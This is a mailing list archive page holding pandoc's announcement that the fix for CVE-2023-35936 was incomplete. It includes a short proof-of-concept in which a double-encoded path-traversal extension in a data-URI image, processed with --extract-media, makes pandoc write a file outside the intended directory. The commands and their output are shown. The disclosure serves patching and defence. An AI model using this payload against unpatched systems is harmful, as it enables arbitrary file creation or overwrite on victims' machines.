public inbox archive for pandoc-discuss@googlegroups.com
 help / color / mirror / Atom feed
* ANN: fix to CVE-2023-35936 was incomplete
@ 2023-07-20 18:56 John MacFarlane
  0 siblings, 0 replies; only message in thread
From: John MacFarlane @ 2023-07-20 18:56 UTC (permalink / raw)
  To: pandoc-discuss-/JYPxA39Uh5TLH3MbocFFw

Guilhem Moulin noticed that the fix in pandoc 3.1.4 to CVE-2023-35936 was incomplete.
An attacker could get around it by double-encoding the malicious extension to create
or override arbitrary files.
    
   $ echo '![](data://image/png;base64,cHJpbnQgImhlbGxvIgo=;.lua+%252f%252e%252e%252f%252e%252e%252fb%252elua)' >b.md
   $ .cabal/bin/pandoc b.md --extract-media=bar
   <p><img
   src="bar/2a0eaa89f43fada3e6c577beea4f2f8f53ab6a1d.lua+%2f%2e%2e%2f%2e%2e%2fb%2elua" /></p>
   $ cat b.lua
   print "hello"
   $ find bar
   bar/
   bar/2a0eaa89f43fada3e6c577beea4f2f8f53ab6a1d.lua+
    
This vulnerability is fixed in the main branch of the repository:
https://github.com/jgm/pandoc/commit/eddedbfc14916aa06fc01ff04b38aeb30ae2e625

I will put out a new release soon.



^ permalink raw reply	[flat|nested] only message in thread

only message in thread, other threads:[~2023-07-20 18:56 UTC | newest]

Thread overview: (only message) (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2023-07-20 18:56 ANN: fix to CVE-2023-35936 was incomplete John MacFarlane

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).